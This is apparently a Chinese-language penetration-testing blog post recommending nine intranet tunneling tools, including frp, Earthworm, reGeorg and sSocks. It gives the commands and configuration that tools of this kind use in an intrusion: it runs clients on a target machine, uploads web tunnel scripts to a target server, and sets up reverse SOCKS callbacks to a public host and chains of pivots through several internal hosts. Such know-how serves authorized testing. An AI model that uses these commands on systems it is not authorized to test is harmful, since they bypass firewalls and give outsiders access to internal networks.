在滲透過程中,我們需要快速實現內網穿透,從而繞過網絡訪問限制,直接從外網來訪問內網。今天,我們來推薦幾款非常好用的內網穿透工具,如有其它推薦,歡迎補充和指正。
1、ngrok
ngrok 是一個反向代理,通過在公共的端點和本地運行的 Web 服務器之間建立一個安全的通道。
官網地址:
https://ngrok.com
使用步驟:
(1)進入ngrok官網注冊賬號,並下載ngrok。
(2)在目標機器上,填寫授權碼,運行ngrok。
./ngrok authtoken 授權碼
(3)將HTTP隧道轉發到本地端口80,如下圖,通過外網域名即可訪問到本地80端口。
./ngrok http 80
2、frp
frp 是一個高性能的反向代理應用,可以幫助您輕松地進行內網穿透,對外網提供服務,支持 tcp, http, https 等協議類型,並且 web 服務支持根據域名進行路由轉發。
git項目地址:
https://github.com/fatedier/frp
使用步驟:
(1)將 frps 及 frps.ini 放到有公網 IP 的機器上,修改frps.ini文件,配置一個名為ssh的反向代理:
# frps.ini[common]bind_port = 7000 [ssh]listen_port=6000auth_token=123
(2)啟動frps:
./frps -c ./frps.ini
(3)將 frpc 及 frpc.ini 放到處於內網環境的機器上,修改 frpc.ini 文件,設置 frps 所在服務器的 IP 為 x.x.x.x:
# frpc.ini[common]server_addr = 192.168.172.131server_port = 7000auth_token =123 [ssh]type = tcplocal_ip = 127.0.0.1local_port = 22remote_port = 6000
(4)啟動frpc:
./frpc -c ./frpc.ini
(5)通過ssh訪問內網服務器,假設用戶名為test:
ssh -p 6000 test@x.x.x.x
3、Sunny-Ngrok
一條命令解決的外網訪問內網問題,無需任何配置,一條命令讓外網訪問您的內網不再是距離。Ngrok客戶端,支持Windows、Linux、Mac,提供python、PHP等版本。
官網地址:
https://www.ngrok.cc
使用步驟:
(1) 開通http隧道,設置隧道協議、本地端口等信息。
(2)通過隧道id啟動隧道。
(3)在公網上訪問域名,即可訪問到內網的網站。
4、Natapp
基於ngrok的內網映射工具,免費版本提供http,tcp,udp全隧道穿透、隨機域名/隨機TCP,UDP端口、不定時強制更換域名/端口和自定義本地端口。
下載地址:
https://natapp.cn
(1)購買隧道,設置隧道協議和本地端口。
(2)下載客戶端,到目標主機,運行natapp。
(3)將natapp分配的網址復制下來,在瀏覽器中訪問,可以看到內網穿透成功了!
5、Earthworm 內網穿透
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。
支持Windows、Linux、MacOS、Arm-Linux。
項目地址:
http://rootkiter.com/EarthWorm
使用方法:
(1)正向 SOCKS v5 服務器,適用於目標網絡邊界存在公網IP且可任意開監聽端口。
./ew -s ssocksd -l 1080
(2)反彈SOCKS v5 服務器,適用於目標網絡邊界不存在公網 IP,需要通過反彈方式創建 socks 代理
a) 先在一台具有公網 ip 的主機A上運行以下命令: ./ew -s rcsocks -l 1080 -e 8888 b) 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的 8888端口 ./ew -s rssocks -d 1.1.1.1 -e 8888
(3)多級級聯,適用於多層級的復雜網絡環境,將內網深層的服務轉發到外網。
## 二級級聯測試用例
# 方式一:利用lcx_tran $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 # 方式二: $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
## 三級級聯測試用例 $ ./ew -s rcsocks -l 1080 -e 8888 $ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 $ ./ew -s lcx_listen -l 9999 -e 7777 $ ./ew -s rssocks -d 127.0.0.1 -e 7777
6、reDuh
ReDuh 是一個通過 HTTP 協議建立隧道傳輸各種其他數據的工具,通過在服務器上傳JSP/PHP/ASP腳本,就可以輕易地連接到服務器后面的主機。
github項目地址:
https://github.com/sensepost/reDuh
(1)上傳服務端jsp腳本到目標機器
(2)使用reDuh客戶端連接服務端腳本上傳后的地址。
java -jar reDuhClient.jar http://192.168.172.1/reDuh.jsp
7、reGeorg
reGeorg是reDuh的繼承者,利用了會話層的socks5協議,結合Proxifier使用效率會更高。
下載地址:
https://github.com/sensepost/reGeorg
使用方法:
(1)將 tunnel腳本(aspx | ashx | jsp | php)上傳到Web服務器,訪問顯示“Georg says, ‘All seems fine’“,表示腳本運行正常。
(2)在攻擊者機器上,啟動reGeorgSocksProxy.py,監聽9999端口,看到 Checking if Georg is ready,確認正常運行。
8、Tunna
Tunna是一款神奇的工具,它可以通過HTTP封裝隧道通信任何TCP,以及用於繞過防火牆環境中的網絡限制。
github項目地址:
https://github.com/SECFORCE/Tunna
9、sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,並提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試。
下載地址:
http://sourceforge.net/projects/ssocks/
使用方法:
(1)正向代理
./ssocksd --bind 192.168.172.131 --port 1234
(2)反向代理
## 監聽6020端口轉發到6010./rcsocks -l 6020 -p 6010 -vv ## 反向連接代理主機6010端口./rssocks -s 192.168.172.131:6010 -vv